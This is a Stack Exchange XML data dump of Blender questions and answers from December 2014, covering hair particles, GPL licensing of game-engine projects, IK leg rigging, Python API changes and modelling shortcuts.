  <row Id="21363" PostTypeId="2" ParentId="21361" CreationDate="2014-12-24T20:09:01.043" Score="8" Body="&lt;p&gt;It &lt;em&gt;is&lt;/em&gt; possible to do this non-destructively, but you must be using a mesh object for your first object. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a particle system your base object, then set the &lt;em&gt;Type&lt;/em&gt; to &lt;em&gt;Object&lt;/em&gt; and select your initial hair object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6nNhL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a hair particle system to the hair object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ygc8r.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hair particles will also appear on each instance of the mesh object, but only in the render (this is probably a good thing :P).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-12-24T20:27:39.470" LastActivityDate="2014-12-24T20:27:39.470" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21364" PostTypeId="1" AcceptedAnswerId="21366" CreationDate="2014-12-24T20:54:13.570" Score="1" ViewCount="1570" Body="&lt;p&gt;I am making a new blender game, but I wanted to find out about license. I want to know how to get license, and how I can sell my game for money. Do I have to pay royalties?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. When you put it on hold, I was very disappointed; because, where else can I ask question about blender? This is not question asked very much- I just asked how to license a game!&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="6385" LastEditDate="2014-12-28T21:00:44.620" LastActivityDate="2014-12-28T21:00:44.620" Title="Licensing game in BGE" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ClosedDate="2014-12-25T01:09:12.863" ContentLicense="CC BY-SA 3.0" />
  <row Id="21365" PostTypeId="1" AcceptedAnswerId="21367" CreationDate="2014-12-25T00:40:50.630" Score="1" ViewCount="828" Body="&lt;p&gt;I've found this blender tutorial :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=R1ROxTnD3E0&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to Create a City Covered with Fog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I've tried to do it. And then I've chosen the map of the city where I live and I have selected a small area,but when I have imported it in blender I have seen that something hasn't worked correctly. Please check the screenshots attached to understand better where could be the problem,thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L66nK.png&quot; alt=&quot;pic 1&quot;&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/CX5HH.png&quot; alt=&quot;pic 2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6185" LastActivityDate="2014-12-25T03:34:04.113" Title="Problems while creating a City using the OpenStreetMap maps" Tags="&lt;python&gt;&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-12-25T10:56:06.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="21366" PostTypeId="2" ParentId="21364" CreationDate="2014-12-25T01:08:07.510" Score="1" Body="&lt;p&gt;Ton just updated the following page but he did fail to mention anything about whether money can be made off BGE games.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Licensing&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Licensing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Licensing of Blender Games&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Blender and the Blender Game Engine (BGE) is licensed as GNU GPL,&#xA;  which means that your games (if they include Blender software) have to&#xA;  comply with that license as well. This only applies to the software,&#xA;  or the bundle if it has software in it, not to the artwork you make&#xA;  with Blender. All your Blender creations are your sole property.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;GNU GPL - also called &quot;Free Software&quot; - is a license that aims at&#xA;  keeping the licensed software free, forever. GNU GPL does not allow&#xA;  you to add new restrictions or limitations on the software you&#xA;  received under that license. That works fine if you want your clients&#xA;  or your audience to have the same rights as you have (with Blender).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For people who prefer to lockup software or to restrict distribution&#xA;  or copying of their games, the BGE is not a good choice. The best they&#xA;  can achieve is to separate the contents (.blend files with game&#xA;  design) from the software (BGE) in their distribution, and license the&#xA;  first under own copyrights and keep the latter as GNU GPL. Standalone&#xA;  games&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In case you save out your game as a single &quot;Standalone&quot; the .blend&#xA;  file gets included in the binary (the BGE player). That requires the&#xA;  .blend file to be compatible with the GNU GPL license.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In this case, you could decide to load and run another .blend file&#xA;  game (using the Game Actuator logic brick). That file then is not part&#xA;  of the binary, so you can apply any license you wish on it. More info&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;More information you can find in the blender.org FAQ:&#xA;  &lt;a href=&quot;http://www.blender.org/support/faq/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/support/faq/&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(Disclaimer: the former text on this page was inaccurate and had wrong&#xA;  statements in it. The current text has been rewritten by Blender&#xA;  Foundation's chairman. If you have questions about GPL, consult the&#xA;  Free Software Foundation website fsf.org.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-12-25T01:08:07.510" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21367" PostTypeId="2" ParentId="21365" CreationDate="2014-12-25T02:10:09.017" Score="1" Body="&lt;p&gt;In OpenStreetMaps only the buildings in dark brown have had their shapes made available for blender. This means that what you are experiencing is normal. If you would like more buildings, select a different area of your city, preferably with more details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit by Brasshat] Or create the bit of the city you want, and use Blender to add the buidings not provided by OSM.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="3401" LastEditDate="2014-12-25T03:34:04.113" LastActivityDate="2014-12-25T03:34:04.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21368" PostTypeId="1" AcceptedAnswerId="21371" CreationDate="2014-12-25T03:54:00.850" Score="3" ViewCount="313" Body="&lt;p&gt;Brand new to blender, have not even downloaded the program yet. I am considering ordering the DVD &lt;em&gt;DVD Training 12: Blender for 3D Printing, 2.67&lt;/em&gt; after I download to help learn the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to build models for 3D printing. Does anyone know of significant changes to the latest version of Blender that would make the DVDs obsolete?&lt;/p&gt;&#xA;" OwnerUserId="9652" LastEditorUserId="599" LastEditDate="2014-12-25T07:43:56.073" LastActivityDate="2014-12-25T16:11:31.033" Title="Is there any significant difference between 2.67 and 2.73 in terms of 3D printing?" Tags="&lt;3d-printing&gt;&lt;versions&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21369" PostTypeId="1" CreationDate="2014-12-25T03:59:19.457" Score="0" ViewCount="643" Body="&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33521&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33521&lt;/a&gt; my link&#xA;i already search for some solution and try it but still no working.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uu1GV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Whhlx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9649" LastEditorUserId="9649" LastEditDate="2014-12-25T04:34:54.403" LastActivityDate="2014-12-25T04:50:55.200" Title="Bone heat weighting: failed to find solution for one or more bones after i remove doubles" Tags="&lt;animation&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-12-25T06:01:11.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="21370" PostTypeId="2" ParentId="21369" CreationDate="2014-12-25T04:41:21.860" Score="0" Body="&lt;p&gt;I quickly fixed it , First you have to select the robot then press[ &lt;kbd&gt;ALT&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt; ] , Then select clear parent and keep transformation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do that to the armature aswell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the robot , Hold &lt;kbd&gt;SHIFT&lt;/kbd&gt; and right click the armature . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;CNTRL&lt;/kbd&gt; + &lt;kbd&gt;P&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add automatic weights. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will now work , if you have problems just ask&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind you will have to some manually weight distribution because it does get messy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bZhUg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="1829" LastEditDate="2014-12-25T04:50:55.200" LastActivityDate="2014-12-25T04:50:55.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21371" PostTypeId="2" ParentId="21368" CreationDate="2014-12-25T05:05:51.300" Score="6" Body="&lt;p&gt;If you are just starting with blender, the DVD in question should give you a good idea of how things work, and you should be OK using current versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While some things have indeed changed since version 2.67, the main structure of the blender's User Interface has not. Blender has been very good in terms of keeping backwards compatibility, except for versions previous to 2.5, where a major overhaul did take place. But even that overhaul was to the UI, and files created in older versions open and can be edited in current versions. Note though, that if you're using a current version of Blender, you'll want to use the box in the lower left of the files dialog screen that allows one to open the file without changing the UI; otherwise, when you open a file, one sees the UI with which the file was created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are things that are dramatically different on newer versions, like plugins that are not up to date, or you just can't find the tool in today's version, &lt;strong&gt;don't worry&lt;/strong&gt;, you can still download older versions of blender here: &lt;a href=&quot;http://download.blender.org/release/&quot; rel=&quot;nofollow&quot;&gt;http://download.blender.org/release/&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get a general idea of how blender works you'll find that newer versions are quite a bit better, with less bugs and much easier to use than previous ones. And if you get stuck... you can always ask questions here or in other forums. Happy blending.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-25T16:11:31.033" LastActivityDate="2014-12-25T16:11:31.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21372" PostTypeId="1" CreationDate="2014-12-25T05:42:31.503" Score="3" ViewCount="714" Body="&lt;p&gt;I would like to be able to use keys like XF86AudioMute, XF86WWW, etc. for keyboard shortcuts in Blender. Apparently Blender has a few multimedia keys set up by default:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sRwlK.png&quot; alt=&quot;Default media keys&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I try to assign, for example, XF86AudioMute to an action in Blender, it sticks at &quot;Press a key&quot; just as if I had pressed nothing at all:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ag0a8.png&quot; alt=&quot;Stuck at &amp;quot;Press a key&amp;quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it do this?&#xA;&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;Some background information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Logitech G600, which is a mouse with a lot of buttons (22). I'd like to use these buttons in Blender, but I haven't figured out a particularly good way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way the mouse presents the buttons to the computer is a little weird. As I have it set up, the left/right click, MMB, scroll up/down, and back/forward buttons are all normal mouse buttons, and Blender agrees with me; to set the back button on the mouse to undo in Blender, all I had to to was this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TKmZC.png&quot; alt=&quot;Back mouse button on mouse&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the mouse is actually a keyboard! Using Logitech's configuration software, I can make the other buttons type whatever letters I want, and that works fine in Blender. It's really no different from having two keyboards plugged into the same computer. However, I don't like this because it doesn't allow assigning an action only to the mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to then &lt;a href=&quot;http://www.vxnick.com/blog/2014/10/binding-extra-mouse-buttons-on-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;remap the keys&lt;/a&gt; on this mousy keyboard to &lt;a href=&quot;http://hal.freedesktop.org/quirk/quirk-keymap-list.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;other random keys&lt;/a&gt; that aren't on my (actual) keyboard. This works fine. The only problem is that, apart from those four in the screenshot above, I have found no keys that aren't already on my actual keyboard that Blender will recognize. How can I use these other keys with Blender?&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="1253" LastEditDate="2015-08-23T05:23:03.487" LastActivityDate="2015-08-23T05:23:03.487" Title="How can I use multimedia keys for keyboard shortcuts in Linux?" Tags="&lt;shortcut&gt;&lt;linux&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21373" PostTypeId="1" CreationDate="2014-12-25T07:22:30.057" Score="3" ViewCount="551" Body="&lt;p&gt;I'm using Blender V2.7, and I want to run a Python script which imports the &lt;code&gt;blender&lt;/code&gt; module, but the console window outputs &lt;code&gt;error: can't find Blender module&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error does not occur in V2.49.&lt;/p&gt;&#xA;" OwnerUserId="9638" LastEditorUserId="599" LastEditDate="2014-12-25T08:06:19.913" LastActivityDate="2014-12-25T11:35:11.400" Title="Can't find 'blender' module?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21374" PostTypeId="2" ParentId="21167" CreationDate="2014-12-25T07:35:33.920" Score="18" Body="&lt;p&gt;This specific structure is a bit complicated by using normal methods, such as other guys suggested, However, you can do it quite well by a combination of a few modifiers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the unit model for half round of the bandage;&lt;/li&gt;&#xA;&lt;li&gt;Subdivide, tweak position of each vertex;&lt;/li&gt;&#xA;&lt;li&gt;Model the other half round of that bandage.&lt;/li&gt;&#xA;&lt;li&gt;Add Shrinkwarp, Array and Solidify modifier.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uId9r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hd1jN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lyOxA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; &lt;strong&gt;Shrinkwrap&lt;/strong&gt; modifier is always not so &quot;accurate&quot; by default, but using VGroup with weights assigned will make things more flexible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EDNNG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3WTJzcHFjMjk0d2s/view?usp=sharing&quot;&gt;example file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:24:08.547" LastActivityDate="2015-04-06T01:24:08.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21375" PostTypeId="1" AcceptedAnswerId="21425" CreationDate="2014-12-25T07:55:32.153" Score="2" ViewCount="1275" Body="&lt;p&gt;I'm trying to figure out how to adjust my flame. It's a calm flame with &lt;em&gt;Noise Method-Strength&lt;/em&gt; set to zero and all &lt;em&gt;Vorticity&lt;/em&gt; settings all set to zero. My flame currently tapers flat like a cone and somewhat rounded and wavy at the tip. I'd like to have it go straight up for about two thirds and then taper into a point but not a flat taper. I'd like the taper to be a bit rounded. What settings do I need to play with to get this effect? The effect I'm looking for would be like a candle or lighter flame. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'd like to know what settings to play with to change the curve of color transitions in the flame? I'm currently only able to, either have the two colors blend flat and gradient or a hard transition in color where the top color curves like an arc downward to the next blend of color and I'd like to reverse that curvature upward like the effect is in a real candle flame. All arc curvatures in color transitions are upward in a real flame.&lt;/p&gt;&#xA;" OwnerUserId="9629" LastEditorUserId="2217" LastEditDate="2014-12-25T20:16:40.260" LastActivityDate="2014-12-26T14:59:12.270" Title="How to manipulate a smoke simulation to look like a realistic candle flame" Tags="&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21376" PostTypeId="2" ParentId="21373" CreationDate="2014-12-25T08:03:18.053" Score="2" Body="&lt;p&gt;&lt;em&gt;It's a bit hard to find good links about this unfortunately, partially as it happened so long ago and there doesn't seem to have been a lot of documentation about it :/. The best guide I could find was &lt;a href=&quot;https://mogurijin.wordpress.com/2010/08/17/how-to-update-blender-2-49-bge-scripts-to-2-5x/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt; about porting BGE scripts.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suffice it to say that the python API underwent a &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.4/Source/Python/2.4x_API_rewrite&quot; rel=&quot;nofollow noreferrer&quot;&gt;major change&lt;/a&gt; as part of the 2.4x to 2.5x transition, and the &lt;code&gt;blender&lt;/code&gt; module no longer exists (the modern equivalent is &lt;code&gt;bpy&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is the &lt;a href=&quot;https://blender.stackexchange.com/q/12266/599&quot;&gt;latest blender python api documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-12-25T08:13:40.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21378" PostTypeId="1" AcceptedAnswerId="21382" CreationDate="2014-12-25T10:07:06.643" Score="0" ViewCount="542" Body="&lt;p&gt;There is a template script:&#xA;operator_modal_view3d_raycast.py&#xA;That show how use the ray_cast() to find the the coordinates of hit face.&#xA;But I want to measure the distance of the opposite face from the hit face.&#xA;The depth of the object from the 3d view.&lt;/p&gt;&#xA;" OwnerUserId="6052" LastActivityDate="2014-12-25T11:39:40.983" Title="Measure object depth with ray_cast" Tags="&lt;python&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21379" PostTypeId="1" AcceptedAnswerId="21385" CreationDate="2014-12-25T10:12:34.713" Score="7" ViewCount="39754" Body="&lt;p&gt;I have a simple character. I would like rig the legs so that I can easily control them. How can I IK rig my characters leg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uhv3t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33524&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;.blend file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="29301" LastEditDate="2018-10-14T23:16:46.907" LastActivityDate="2018-10-14T23:16:46.907" Title="How to IK rig legs" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;constraints&gt;&lt;inverse-kinematics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21381" PostTypeId="2" ParentId="21373" CreationDate="2014-12-25T11:35:11.400" Score="2" Body="&lt;p&gt;As has been mentioned there was major python changes between 2.49 and 2.50 (2.50 was released 5 years ago), even adding bmesh in 2.63 made significant changes to manipulating mesh data in python. I don't think much was written about converting scripts between 2.49 and 2.50, mainly because it was such a big change, partly because using python before 2.50 was much less popular than it has become over the last couple of years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend you discard any 2.49 tutorials you may be looking at and find new ones written specifically for 2.6x or higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a 2.49 specific script that you want to update, you should learn to use python in 2.72, then look at what the old script is doing and re-write it for 2.72. If the script is specific to creating or importing data and you need to use it now, you could run it in 2.49, save the blend file and then open it in a new version. You shouldn't have any trouble with mesh data, materials should still be ok in Blender Internal, armatures may need some cleanup and simulations could also need work.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-25T11:35:11.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21382" PostTypeId="2" ParentId="21378" CreationDate="2014-12-25T11:39:40.983" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_63_8/mathutils.geometry.html?highlight=intersect_ray_tri#mathutils.geometry.intersect_ray_tri&quot; rel=&quot;nofollow&quot;&gt;mathutils.geometry.intersect_ray_tri&lt;/a&gt; to check any intersections with object triangles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use the raycast method and then again with normals inverted to get the opposite face&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-25T11:39:40.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21383" PostTypeId="1" AcceptedAnswerId="21384" CreationDate="2014-12-25T13:31:42.663" Score="23" ViewCount="9897" Body="&lt;p&gt;Is there a shortcut for switching between these three modes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nbMiv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="6204" LastEditDate="2014-12-30T16:29:25.443" LastActivityDate="2020-01-09T10:24:37.313" Title="Is there a way to switch the mesh selection mode by a shortcut?" Tags="&lt;mesh&gt;&lt;shortcut&gt;&lt;selection-tools&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21384" PostTypeId="2" ParentId="21383" CreationDate="2014-12-25T13:38:04.453" Score="24" Body="&lt;p&gt;This can be accomplished by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt;. This will bring up the shown popup, in which you can select either Vertex, Edge, or Face mode. Note that you can use &lt;kbd&gt;V&lt;/kbd&gt;, &lt;kbd&gt;E&lt;/kbd&gt;, and &lt;kbd&gt;F&lt;/kbd&gt; or &lt;kbd&gt;1&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt;, and &lt;kbd&gt;3&lt;/kbd&gt; to complete the action using shortcuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/siS2N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2016-08-01T17:29:27.303" LastActivityDate="2016-08-01T17:29:27.303" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21385" PostTypeId="2" ParentId="21379" CreationDate="2014-12-25T14:15:30.300" Score="16" Body="&lt;p&gt;First you will need a &lt;strong&gt;target bone&lt;/strong&gt; for the Ik - for example a copy of the foot bone. Make sure this bone is not parented to anything (except when you have a root/master bone - then parent it to root/master)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qlykD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in pose mode add an &lt;strong&gt;IK constraint&lt;/strong&gt; to the shin bone and setup it like in the picture. You can do this fast by selecting the &lt;em&gt;target_bone&lt;/em&gt; first (copy of &lt;em&gt;foot_bone&lt;/em&gt;), then the &lt;em&gt;shin_bone&lt;/em&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; then &lt;kbd&gt;I&lt;/kbd&gt;. Set the IK chain length to 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RdANW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last step is to add &lt;strong&gt;Copy Rotation constraint&lt;/strong&gt; to &lt;em&gt;foot_bone&lt;/em&gt;. &lt;br&gt;&#xA;Select &lt;em&gt;target_bone&lt;/em&gt; (copy of &lt;em&gt;foot_bone&lt;/em&gt;), select &lt;em&gt;foot_bone&lt;/em&gt;,&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; then &lt;kbd&gt;R&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WSqNS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your leg is controlled with the &lt;em&gt;target bone&lt;/em&gt;. You can also add a &lt;strong&gt;Pole bone&lt;/strong&gt; for the IK constraint so the direction of the knee is defined:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vDMrI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can eyeball the &lt;em&gt;pole_angle&lt;/em&gt;, how to set it precisely is explained here: &lt;a href=&quot;https://blender.stackexchange.com/questions/19754/how-to-set-calculate-pole-angle-of-ik-constraint-so-the-chain-does-not-move/19755#19755&quot;&gt;How to Set/Calculate pole angle of IK constraint so the chain does not move?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-12-25T14:32:53.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21386" PostTypeId="1" CreationDate="2014-12-25T15:33:27.693" Score="1" ViewCount="819" Body="&lt;p&gt;I am moving my cursor and going to View -&gt; Align View -&gt; Center View to Cursor. I have already had quite a few problems with blender such as not being able to select objects except in the list selector but this is just ridiculous. Is there any mode I could be in that would be stopping the view from centering itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: It's because of that ridiculous second screen that I accidentally made appear by clicking somewhere near the top of the program. If I drag the toolbar down I can see that in my second view my character is centered on my cursor. How do I get rid of this view? I don't want it.&lt;/p&gt;&#xA;" OwnerUserId="9662" LastActivityDate="2014-12-25T15:33:27.693" Title="Center View to cursor not working?" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="0" ClosedDate="2014-12-27T15:07:41.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="21387" PostTypeId="1" AcceptedAnswerId="21406" CreationDate="2014-12-25T16:02:46.553" Score="10" ViewCount="6172" Body="&lt;p&gt;So I have an complex smooth surface.  I created a high resolution path curve and used a Shrink Wrap modifier to make it fit on my surface where I want it.  I apply the shrink wrap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can easily make an object move along this path now with a Follow Path constraint.  Great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But...I would like to animate a ball rolling along this path.  I can't find a constraint or other tool in Blender that allows for this.  If I knew how Python interacts with Blender better (I'm just learning) I would write something using quaternions (I've done this in an iOS physics engine I did a few years back).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there some trick with rigid body simulation to make my ball roll along the constrained path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's an animator to do?&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2020-06-17T02:36:57.303" Title="How can we animate a ball rolling over a path?" Tags="&lt;animation&gt;&lt;rigid-body-simulation&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
